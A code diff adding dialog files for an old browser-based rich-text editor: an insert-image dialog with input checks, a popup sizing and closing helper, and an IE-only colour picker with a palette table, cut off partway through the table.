+ alert("Horizontal spacing must be a number between 0 and 999.");
+ txtHorizontal.focus();
+ return;
+ }
+ if (txtBorder.value && !_isValidNumber(txtBorder.value)) {
+ alert("Border thickness must be a number between 0 and 999.");
+ txtBorder.focus();
+ return;
+ }
+ if (txtVertical.value && !_isValidNumber(txtVertical.value)) {
+ alert("Vertical spacing must be a number between 0 and 999.");
+ txtVertical.focus();
+ return;
+ }
+
+ // delete selected content and replace with image
+ if (globalDoc.selection.type == htmlSelectionControl && !txtFileName.fImageLoaded) {
+ grngMaster.execCommand('Delete');
+ grngMaster = globalDoc.selection.createRange();
+ }
+
+ idstr = "\" id=\"556e697175657e537472696e67"; // new image creation ID
+ if (!txtFileName.fImageLoaded) {
+ grngMaster.execCommand("InsertImage", false, idstr);
+ elmImage = globalDoc.all['556e697175657e537472696e67'];
+ elmImage.removeAttribute("id");
+ elmImage.removeAttribute("src");
+ grngMaster.moveStart("character", -1);
+ } else {
+ elmImage = grngMaster.item(0);
+ if (elmImage.src != txtFileName.value) {
+ grngMaster.execCommand('Delete');
+ grngMaster = globalDoc.selection.createRange();
+ grngMaster.execCommand("InsertImage", false, idstr);
+ elmImage = globalDoc.all['556e697175657e537472696e67'];
+ elmImage.removeAttribute("id");
+ elmImage.removeAttribute("src");
+ grngMaster.moveStart("character", -1);
+ txtFileName.fImageLoaded = false;
+ }
+ grngMaster = _getTextRange(elmImage);
+ }
+
+ if (txtFileName.fImageLoaded) {
+ elmImage.style.width = txtFileName.intImageWidth;
+ elmImage.style.height = txtFileName.intImageHeight;
+ }
+
+ if (txtFileName.value.length > 2040) {
+ txtFileName.value = txtFileName.value.substring(0,2040);
+ }
+
+ elmImage.src = txtFileName.value;
+
+ if (txtHorizontal.value != "") { elmImage.hspace = parseInt(txtHorizontal.value); }
+ else { elmImage.hspace = 0; }
+
+ if (txtVertical.value != "") { elmImage.vspace = parseInt(txtVertical.value); }
+ else { elmImage.vspace = 0; }
+
+ elmImage.alt = txtAltText.value;
+
+ if (txtBorder.value != "") { elmImage.border = parseInt(txtBorder.value); }
+ else { elmImage.border = 0; }
+
+ elmImage.align = selAlignment.value;
+ grngMaster.collapse(false);
+ grngMaster.select();
+ window.close();
+}
+</SCRIPT>
+</HEAD>
+<BODY id=bdy onload="Init()" style="background: threedface; color: windowtext;" scroll=no>
+
+<DIV id=divFileName style="left: 0.98em; top: 1.2168em; width: 7em; height: 1.2168em; ">Image URL:</DIV>
+<INPUT ID=txtFileName type=text style="left: 8.54em; top: 1.0647em; width: 21.5em;height: 2.1294em; " tabIndex=10 onfocus="select()">
+
+<DIV id=divAltText style="left: 0.98em; top: 4.1067em; width: 6.58em; height: 1.2168em; ">Alternate Text:</DIV>
+<INPUT type=text ID=txtAltText tabIndex=15 style="left: 8.54em; top: 3.8025em; width: 21.5em; height: 2.1294em; " onfocus="select()">
+
+<FIELDSET id=fldLayout style="left: .9em; top: 7.1em; width: 17.08em; height: 7.6em;">
+<LEGEND id=lgdLayout>Layout</LEGEND>
+</FIELDSET>
+
+<FIELDSET id=fldSpacing style="left: 18.9em; top: 7.1em; width: 11em; height: 7.6em;">
+<LEGEND id=lgdSpacing>Spacing</LEGEND>
+</FIELDSET>
+
+<DIV id=divAlign style="left: 1.82em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Alignment:</DIV>
+<SELECT size=1 ID=selAlignment tabIndex=20 style="left: 10.36em; top: 8.8218em; width: 6.72em; height: 1.2168em; ">
+<OPTION id=optNotSet value=""> Not set </OPTION>
+<OPTION id=optLeft value=left> Left </OPTION>
+<OPTION id=optRight value=right> Right </OPTION>
+<OPTION id=optTexttop value=textTop> Texttop </OPTION>
+<OPTION id=optAbsMiddle value=absMiddle> Absmiddle </OPTION>
+<OPTION id=optBaseline value=baseline SELECTED> Baseline </OPTION>
+<OPTION id=optAbsBottom value=absBottom> Absbottom </OPTION>
+<OPTION id=optBottom value=bottom> Bottom </OPTION>
+<OPTION id=optMiddle value=middle> Middle </OPTION>
+<OPTION id=optTop value=top> Top </OPTION>
+</SELECT>
+
+<DIV id=divHoriz style="left: 19.88em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Horizontal:</DIV>
+<INPUT ID=txtHorizontal style="left: 24.92em; top: 8.8218em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=25 onfocus="select()">
+
+<DIV id=divBorder style="left: 1.82em; top: 12.0159em; width: 8.12em; height: 1.2168em; ">Border Thickness:</DIV>
+<INPUT ID=txtBorder style="left: 10.36em; top: 11.5596em; width: 6.72em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=21 onfocus="select()">
+
+<DIV id=divVert style="left: 19.88em; top: 12.0159em; width: 3.64em; height: 1.2168em; ">Vertical:</DIV>
+<INPUT ID=txtVertical style="left: 24.92em; top: 11.5596em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=30 onfocus="select()">
+
+<BUTTON ID=btnOK style="left: 31.36em; top: 1.0647em; width: 7em; height: 2.2em; " type=submit tabIndex=40>OK</BUTTON>
+<BUTTON ID=btnCancel style="left: 31.36em; top: 3.6504em; width: 7em; height: 2.2em; " type=reset tabIndex=45 onClick="window.close();">Cancel</BUTTON>
+
+</BODY>
+</HTML>
\ No newline at end of file
--- /dev/null
+function __dlg_onclose() {
+ if (!document.all) {
+ opener.Dialog._return(null);
+ }
+};
+
+function __dlg_init() {
+ if (!document.all) {
+ // init dialogArguments, as IE gets it
+ window.dialogArguments = opener.Dialog._arguments;
+ window.sizeToContent();
+ window.sizeToContent(); // for reasons beyond understanding,
+ // only if we call it twice we get the
+ // correct size.
+ window.addEventListener("unload", __dlg_onclose, true);
+ // center on parent
+ var px1 = opener.screenX;
+ var px2 = opener.screenX + opener.outerWidth;
+ var py1 = opener.screenY;
+ var py2 = opener.screenY + opener.outerHeight;
+ var x = (px2 - px1 - window.outerWidth) / 2;
+ var y = (py2 - py1 - window.outerHeight) / 2;
+ window.moveTo(x, y);
+ var body = document.body;
+ window.innerHeight = body.offsetHeight;
+ window.innerWidth = body.offsetWidth;
+ } else {
+ var body = document.body;
+ window.dialogHeight = body.offsetHeight + 50 + "px";
+ window.dialogWidth = body.offsetWidth + "px";
+ }
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+ if (document.all) { // IE
+ window.returnValue = val;
+ } else {
+ opener.Dialog._return(val);
+ }
+ window.close();
+};
--- /dev/null
+<!-- note: this version of the color picker is optimized for IE 5.5+ only -->
+
+<html style="width: 238px; height: 182px"><head><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() { // run on page load
+ __dlg_init(); // <!-- this can be found in popup.js -->
+ document.body.onkeypress = _CloseOnEsc;
+
+ var color = window.dialogArguments;
+ color = ValidateColor(color) || '000000';
+ View(color); // set default color
+}
+
+function View(color) { // preview color
+ document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+ document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) { // select color
+ var color = ValidateColor(string);
+ if (color == null) { alert("Invalid color code: " + string); } // invalid color
+ else { // valid color
+ View(color); // show selected color
+ __dlg_close(color);
+ }
+}
+
+function ValidateColor(string) { // return valid color code
+ string = string || '';
+ string = string + "";
+ string = string.toUpperCase();
+ var chars = '0123456789ABCDEF';
+ var out = '';
+
+ for (var i=0; i<string.length; i++) { // remove invalid color chars
+ var schar = string.charAt(i);
+ if (chars.indexOf(schar) != -1) { out += schar; }
+ }
+
+ if (out.length != 6) { return null; } // check length
+ return out;
+}
+
+</script>
+</head>
+<body style="background:ButtonFace; margin:0px; padding:0px" onload="Init()">
+
+<form method="get" style="margin:0px; padding:0px" onSubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="0px" cellspacing="0px" cellpadding="4" width="100%">
+ <tr>
+ <td style="background:buttonface" valign=center><div style="background-color: #000000; padding: 1; height: 21px; width: 50px"><div id="ColorPreview" style="height: 100%; width: 100%"></div></div></td>
+ <td style="background:buttonface" valign=center><input type="text" name="ColorHex"
+ id="ColorHex" value="" size=15 style="font-size: 12px"></td>
+ <td style="background:buttonface" width=100%></td>
+ </tr>
+</table>
+</form>
+
+<table border="0" cellspacing="1px" cellpadding="0px" width="100%" bgcolor="#000000" style="cursor: hand;">
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#003300 onMouseOver=View('003300') onClick=Set('003300') height="10px" width="10px"></td>
+<td bgcolor=#006600 onMouseOver=View('006600') onClick=Set('006600') height="10px" width="10px"></td>
+<td bgcolor=#009900 onMouseOver=View('009900') onClick=Set('009900') height="10px" width="10px"></td>
+<td bgcolor=#00CC00 onMouseOver=View('00CC00') onClick=Set('00CC00') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#330000 onMouseOver=View('330000') onClick=Set('330000') height="10px" width="10px"></td>
+<td bgcolor=#333300 onMouseOver=View('333300') onClick=Set('333300') height="10px" width="10px"></td>
+<td bgcolor=#336600 onMouseOver=View('336600') onClick=Set('336600') height="10px" width="10px"></td>
+<td bgcolor=#339900 onMouseOver=View('339900') onClick=Set('339900') height="10px" width="10px"></td>
+<td bgcolor=#33CC00 onMouseOver=View('33CC00') onClick=Set('33CC00') height="10px" width="10px"></td>
+<td bgcolor=#33FF00 onMouseOver=View('33FF00') onClick=Set('33FF00') height="10px" width="10px"></td>
+<td bgcolor=#660000 onMouseOver=View('660000') onClick=Set('660000') height="10px" width="10px"></td>
+<td bgcolor=#663300 onMouseOver=View('663300') onClick=Set('663300') height="10px" width="10px"></td>
+<td bgcolor=#666600 onMouseOver=View('666600') onClick=Set('666600') height="10px" width="10px"></td>
+<td bgcolor=#669900 onMouseOver=View('669900') onClick=Set('669900') height="10px" width="10px"></td>
+<td bgcolor=#66CC00 onMouseOver=View('66CC00') onClick=Set('66CC00') height="10px" width="10px"></td>
+<td bgcolor=#66FF00 onMouseOver=View('66FF00') onClick=Set('66FF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000033 onMouseOver=View('000033') onClick=Set('000033') height="10px" width="10px"></td>
+<td bgcolor=#003333 onMouseOver=View('003333') onClick=Set('003333') height="10px" width="10px"></td>
+<td bgcolor=#006633 onMouseOver=View('006633') onClick=Set('006633') height="10px" width="10px"></td>
+<td bgcolor=#009933 onMouseOver=View('009933') onClick=Set('009933') height="10px" width="10px"></td>
+<td bgcolor=#00CC33 onMouseOver=View('00CC33') onClick=Set('00CC33') height="10px" width="10px"></td>
+<td bgcolor=#00FF33 onMouseOver=View('00FF33') onClick=Set('00FF33') height="10px" width="10px"></td>
+<td bgcolor=#330033 onMouseOver=View('330033') onClick=Set('330033') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#336633 onMouseOver=View('336633') onClick=Set('336633') height="10px" width="10px"></td>
+<td bgcolor=#339933 onMouseOver=View('339933') onClick=Set('339933') height="10px" width="10px"></td>
+<td bgcolor=#33CC33 onMouseOver=View('33CC33') onClick=Set('33CC33') height="10px" width="10px"></td>
+<td bgcolor=#33FF33 onMouseOver=View('33FF33') onClick=Set('33FF33') height="10px" width="10px"></td>
+<td bgcolor=#660033 onMouseOver=View('660033') onClick=Set('660033') height="10px" width="10px"></td>
+<td bgcolor=#663333 onMouseOver=View('663333') onClick=Set('663333') height="10px" width="10px"></td>
+<td bgcolor=#666633 onMouseOver=View('666633') onClick=Set('666633') height="10px" width="10px"></td>
+<td bgcolor=#669933 onMouseOver=View('669933') onClick=Set('669933') height="10px" width="10px"></td>
+<td bgcolor=#66CC33 onMouseOver=View('66CC33') onClick=Set('66CC33') height="10px" width="10px"></td>
+<td bgcolor=#66FF33 onMouseOver=View('66FF33') onClick=Set('66FF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000066 onMouseOver=View('000066') onClick=Set('000066') height="10px" width="10px"></td>
+<td bgcolor=#003366 onMouseOver=View('003366') onClick=Set('003366') height="10px" width="10px"></td>
+<td bgcolor=#006666 onMouseOver=View('006666') onClick=Set('006666') height="10px" width="10px"></td>
+<td bgcolor=#009966 onMouseOver=View('009966') onClick=Set('009966') height="10px" width="10px"></td>
+<td bgcolor=#00CC66 onMouseOver=View('00CC66') onClick=Set('00CC66') height="10px" width="10px"></td>
+<td bgcolor=#00FF66 onMouseOver=View('00FF66') onClick=Set('00FF66') height="10px" width="10px"></td>
+<td bgcolor=#330066 onMouseOver=View('330066') onClick=Set('330066') height="10px" width="10px"></td>
+<td bgcolor=#333366 onMouseOver=View('333366') onClick=Set('333366') height="10px" width="10px"></td>
+<td bgcolor=#336666 onMouseOver=View('336666') onClick=Set('336666') height="10px" width="10px"></td>
+<td bgcolor=#339966 onMouseOver=View('339966') onClick=Set('339966') height="10px" width="10px"></td>
+<td bgcolor=#33CC66 onMouseOver=View('33CC66') onClick=Set('33CC66') height="10px" width="10px"></td>
+<td bgcolor=#33FF66 onMouseOver=View('33FF66') onClick=Set('33FF66') height="10px" width="10px"></td>
+<td bgcolor=#660066 onMouseOver=View('660066') onClick=Set('660066') height="10px" width="10px"></td>
+<td bgcolor=#663366 onMouseOver=View('663366') onClick=Set('663366') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#669966 onMouseOver=View('669966') onClick=Set('669966') height="10px" width="10px"></td>
+<td bgcolor=#66CC66 onMouseOver=View('66CC66') onClick=Set('66CC66') height="10px" width="10px"></td>
+<td bgcolor=#66FF66 onMouseOver=View('66FF66') onClick=Set('66FF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000099 onMouseOver=View('000099') onClick=Set('000099') height="10px" width="10px"></td>
+<td bgcolor=#003399 onMouseOver=View('003399') onClick=Set('003399') height="10px" width="10px"></td>
+<td bgcolor=#006699 onMouseOver=View('006699') onClick=Set('006699') height="10px" width="10px"></td>
+<td bgcolor=#009999 onMouseOver=View('009999') onClick=Set('009999') height="10px" width="10px"></td>
+<td bgcolor=#00CC99 onMouseOver=View('00CC99') onClick=Set('00CC99') height="10px" width="10px"></td>
+<td bgcolor=#00FF99 onMouseOver=View('00FF99') onClick=Set('00FF99') height="10px" width="10px"></td>
+<td bgcolor=#330099 onMouseOver=View('330099') onClick=Set('330099') height="10px" width="10px"></td>
+<td bgcolor=#333399 onMouseOver=View('333399') onClick=Set('333399') height="10px" width="10px"></td>
+<td bgcolor=#336699 onMouseOver=View('336699') onClick=Set('336699') height="10px" width="10px"></td>
+<td bgcolor=#339999 onMouseOver=View('339999') onClick=Set('339999') height="10px" width="10px"></td>
+<td bgcolor=#33CC99 onMouseOver=View('33CC99') onClick=Set('33CC99') height="10px" width="10px"></td>
+<td bgcolor=#33FF99 onMouseOver=View('33FF99') onClick=Set('33FF99') height="10px" width="10px"></td>
+<td bgcolor=#660099 onMouseOver=View('660099') onClick=Set('660099') height="10px" width="10px"></td>
+<td bgcolor=#663399 onMouseOver=View('663399') onClick=Set('663399') height="10px" width="10px"></td>
+<td bgcolor=#666699 onMouseOver=View('666699') onClick=Set('666699') height="10px" width="10px"></td>
+<td bgcolor=#669999 onMouseOver=View('669999') onClick=Set('669999') height="10px" width="10px"></td>
+<td bgcolor=#66CC99 onMouseOver=View('66CC99') onClick=Set('66CC99') height="10px" width="10px"></td>
+<td bgcolor=#66FF99 onMouseOver=View('66FF99') onClick=Set('66FF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000CC onMouseOver=View('0000CC') onClick=Set('0000CC') height="10px" width="10px"></td>
+<td bgcolor=#0033CC onMouseOver=View('0033CC') onClick=Set('0033CC') height="10px" width="10px"></td>
+<td bgcolor=#0066CC onMouseOver=View('0066CC') onClick=Set('0066CC') height="10px" width="10px"></td>
+<td bgcolor=#0099CC onMouseOver=View('0099CC') onClick=Set('0099CC') height="10px" width="10px"></td>
+<td bgcolor=#00CCCC onMouseOver=View('00CCCC') onClick=Set('00CCCC') height="10px" width="10px"></td>
+<td bgcolor=#00FFCC onMouseOver=View('00FFCC') onClick=Set('00FFCC') height="10px" width="10px"></td>
+<td bgcolor=#3300CC onMouseOver=View('3300CC') onClick=Set('3300CC') height="10px" width="10px"></td>
+<td bgcolor=#3333CC onMouseOver=View('3333CC') onClick=Set('3333CC') height="10px" width="10px"></td>
+<td bgcolor=#3366CC onMouseOver=View('3366CC') onClick=Set('3366CC') height="10px" width="10px"></td>
+<td bgcolor=#3399CC onMouseOver=View('3399CC') onClick=Set('3399CC') height="10px" width="10px"></td>
+<td bgcolor=#33CCCC onMouseOver=View('33CCCC') onClick=Set('33CCCC') height="10px" width="10px"></td>
+<td bgcolor=#33FFCC onMouseOver=View('33FFCC') onClick=Set('33FFCC') height="10px" width="10px"></td>
+<td bgcolor=#6600CC onMouseOver=View('6600CC') onClick=Set('6600CC') height="10px" width="10px"></td>
+<td bgcolor=#6633CC onMouseOver=View('6633CC') onClick=Set('6633CC') height="10px" width="10px"></td>
+<td bgcolor=#6666CC onMouseOver=View('6666CC') onClick=Set('6666CC') height="10px" width="10px"></td>
+<td bgcolor=#6699CC onMouseOver=View('6699CC') onClick=Set('6699CC') height="10px" width="10px"></td>
+<td bgcolor=#66CCCC onMouseOver=View('66CCCC') onClick=Set('66CCCC') height="10px" width="10px"></td>
+<td bgcolor=#66FFCC onMouseOver=View('66FFCC') onClick=Set('66FFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#0033FF onMouseOver=View('0033FF') onClick=Set('0033FF') height="10px" width="10px"></td>
+<td bgcolor=#0066FF onMouseOver=View('0066FF') onClick=Set('0066FF') height="10px" width="10px"></td>
+<td bgcolor=#0099FF onMouseOver=View('0099FF') onClick=Set('0099FF') height="10px" width="10px"></td>
+<td bgcolor=#00CCFF onMouseOver=View('00CCFF') onClick=Set('00CCFF') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#3300FF onMouseOver=View('3300FF') onClick=Set('3300FF') height="10px" width="10px"></td>
+<td bgcolor=#3333FF onMouseOver=View('3333FF') onClick=Set('3333FF') height="10px" width="10px"></td>
+<td bgcolor=#3366FF onMouseOver=View('3366FF') onClick=Set('3366FF') height="10px" width="10px"></td>
+<td bgcolor=#3399FF onMouseOver=View('3399FF') onClick=Set('3399FF') height="10px" width="10px"></td>
+<td bgcolor=#33CCFF onMouseOver=View('33CCFF') onClick=Set('33CCFF') height="10px" width="10px"></td>
+<td bgcolor=#33FFFF onMouseOver=View('33FFFF') onClick=Set('33FFFF') height="10px" width="10px"></td>
+<td bgcolor=#6600FF onMouseOver=View('6600FF') onClick=Set('6600FF') height="10px" width="10px"></td>
+<td bgcolor=#6633FF onMouseOver=View('6633FF') onClick=Set('6633FF') height="10px" width="10px"></td>
+<td bgcolor=#6666FF onMouseOver=View('6666FF') onClick=Set('6666FF') height="10px" width="10px"></td>
+<td bgcolor=#6699FF onMouseOver=View('6699FF') onClick=Set('6699FF') height="10px" width="10px"></td>
+<td bgcolor=#66CCFF onMouseOver=View('66CCFF') onClick=Set('66CCFF') height="10px" width="10px"></td>
+<td bgcolor=#66FFFF onMouseOver=View('66FFFF') onClick=Set('66FFFF') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990000 onMouseOver=View('990000') onClick=Set('990000') height="10px" width="10px"></td>
+<td bgcolor=#993300 onMouseOver=View('993300') onClick=Set('993300') height="10px" width="10px"></td>
+<td bgcolor=#996600 onMouseOver=View('996600') onClick=Set('996600') height="10px" width="10px"></td>
+<td bgcolor=#999900 onMouseOver=View('999900') onClick=Set('999900') height="10px" width="10px"></td>
+<td bgcolor=#99CC00 onMouseOver=View('99CC00') onClick=Set('99CC00') height="10px" width="10px"></td>
+<td bgcolor=#99FF00 onMouseOver=View('99FF00') onClick=Set('99FF00') height="10px" width="10px"></td>
+<td bgcolor=#CC0000 onMouseOver=View('CC0000') onClick=Set('CC0000') height="10px" width="10px"></td>
+<td bgcolor=#CC3300 onMouseOver=View('CC3300') onClick=Set('CC3300') height="10px" width="10px"></td>
+<td bgcolor=#CC6600 onMouseOver=View('CC6600') onClick=Set('CC6600') height="10px" width="10px"></td>
+<td bgcolor=#CC9900 onMouseOver=View('CC9900') onClick=Set('CC9900') height="10px" width="10px"></td>
+<td bgcolor=#CCCC00 onMouseOver=View('CCCC00') onClick=Set('CCCC00') height="10px" width="10px"></td>
+<td bgcolor=#CCFF00 onMouseOver=View('CCFF00') onClick=Set('CCFF00') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#FF3300 onMouseOver=View('FF3300') onClick=Set('FF3300') height="10px" width="10px"></td>
+<td bgcolor=#FF6600 onMouseOver=View('FF6600') onClick=Set('FF6600') height="10px" width="10px"></td>
+<td bgcolor=#FF9900 onMouseOver=View('FF9900') onClick=Set('FF9900') height="10px" width="10px"></td>
+<td bgcolor=#FFCC00 onMouseOver=View('FFCC00') onClick=Set('FFCC00') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990033 onMouseOver=View('990033') onClick=Set('990033') height="10px" width="10px"></td>
+<td bgcolor=#993333 onMouseOver=View('993333') onClick=Set('993333') height="10px" width="10px"></td>
+<td bgcolor=#996633 onMouseOver=View('996633') onClick=Set('996633') height="10px" width="10px"></td>
+<td bgcolor=#999933 onMouseOver=View('999933') onClick=Set('999933') height="10px" width="10px"></td>
+<td bgcolor=#99CC33 onMouseOver=View('99CC33') onClick=Set('99CC33') height="10px" width="10px"></td>
+<td bgcolor=#99FF33 onMouseOver=View('99FF33') onClick=Set('99FF33') height="10px" width="10px"></td>
+<td bgcolor=#CC0033 onMouseOver=View('CC0033') onClick=Set('CC0033') height="10px" width="10px"></td>
+<td bgcolor=#CC3333 onMouseOver=View('CC3333') onClick=Set('CC3333') height="10px" width="10px"></td>
+<td bgcolor=#CC6633 onMouseOver=View('CC6633') onClick=Set('CC6633') height="10px" width="10px"></td>
+<td bgcolor=#CC9933 onMouseOver=View('CC9933') onClick=Set('CC9933') height="10px" width="10px"></td>
+<td bgcolor=#CCCC33 onMouseOver=View('CCCC33') onClick=Set('CCCC33') height="10px" width="10px"></td>
+<td bgcolor=#CCFF33 onMouseOver=View('CCFF33') onClick=Set('CCFF33') height="10px" width="10px"></td>
+<td bgcolor=#FF0033 onMouseOver=View('FF0033') onClick=Set('FF0033') height="10px" width="10px"></td>
+<td bgcolor=#FF3333 onMouseOver=View('FF3333') onClick=Set('FF3333') height="10px" width="10px"></td>
+<td bgcolor=#FF6633 onMouseOver=View('FF6633') onClick=Set('FF6633') height="10px" width="10px"></td>
+<td bgcolor=#FF9933 onMouseOver=View('FF9933') onClick=Set('FF9933') height="10px" width="10px"></td>
+<td bgcolor=#FFCC33 onMouseOver=View('FFCC33') onClick=Set('FFCC33') height="10px" width="10px"></td>
+<td bgcolor=#FFFF33 onMouseOver=View('FFFF33') onClick=Set('FFFF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990066 onMouseOver=View('990066') onClick=Set('990066') height="10px" width="10px"></td>
+<td bgcolor=#993366 onMouseOver=View('993366') onClick=Set('993366') height="10px" width="10px"></td>
+<td bgcolor=#996666 onMouseOver=View('996666') onClick=Set('996666') height="10px" width="10px"></td>
+<td bgcolor=#999966 onMouseOver=View('999966') onClick=Set('999966') height="10px" width="10px"></td>
+<td bgcolor=#99CC66 onMouseOver=View('99CC66') onClick=Set('99CC66') height="10px" width="10px"></td>
+<td bgcolor=#99FF66 onMouseOver=View('99FF66') onClick=Set('99FF66') height="10px" width="10px"></td>
+<td bgcolor=#CC0066 onMouseOver=View('CC0066') onClick=Set('CC0066') height="10px" width="10px"></td>
+<td bgcolor=#CC3366 onMouseOver=View('CC3366') onClick=Set('CC3366') height="10px" width="10px"></td>
+<td bgcolor=#CC6666 onMouseOver=View('CC6666') onClick=Set('CC6666') height="10px" width="10px"></td>
+<td bgcolor=#CC9966 onMouseOver=View('CC9966') onClick=Set('CC9966') height="10px" width="10px"></td>
+<td bgcolor=#CCCC66 onMouseOver=View('CCCC66') onClick=Set('CCCC66') height="10px" width="10px"></td>
+<td bgcolor=#CCFF66 onMouseOver=View('CCFF66') onClick=Set('CCFF66') height="10px" width="10px"></td>
+<td bgcolor=#FF0066 onMouseOver=View('FF0066') onClick=Set('FF0066') height="10px" width="10px"></td>
+<td bgcolor=#FF3366 onMouseOver=View('FF3366') onClick=Set('FF3366') height="10px" width="10px"></td>
+<td bgcolor=#FF6666 onMouseOver=View('FF6666') onClick=Set('FF6666') height="10px" width="10px"></td>
+<td bgcolor=#FF9966 onMouseOver=View('FF9966') onClick=Set('FF9966') height="10px" width="10px"></td>
+<td bgcolor=#FFCC66 onMouseOver=View('FFCC66') onClick=Set('FFCC66') height="10px" width="10px"></td>
+<td bgcolor=#FFFF66 onMouseOver=View('FFFF66') onClick=Set('FFFF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990099 onMouseOver=View('990099') onClick=Set('990099') height="10px" width="10px"></td>
+<td bgcolor=#993399 onMouseOver=View('993399') onClick=Set('993399') height="10px" width="10px"></td>
+<td bgcolor=#996699 onMouseOver=View('996699') onClick=Set('996699') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#99CC99 onMouseOver=View('99CC99') onClick=Set('99CC99') height="10px" width="10px"></td>
+<td bgcolor=#99FF99 onMouseOver=View('99FF99') onClick=Set('99FF99') height="10px" width="10px"></td>
+<td bgcolor=#CC0099 onMouseOver=View('CC0099') onClick=Set('CC0099') height="10px" width="10px"></td>
+<td bgcolor=#CC3399 onMouseOver=View('CC3399') onClick=Set('CC3399') height="10px" width="10px"></td>
+<td bgcolor=#CC6699 onMouseOver=View('CC6699') onClick=Set('CC6699') height="10px" width="10px"></td>
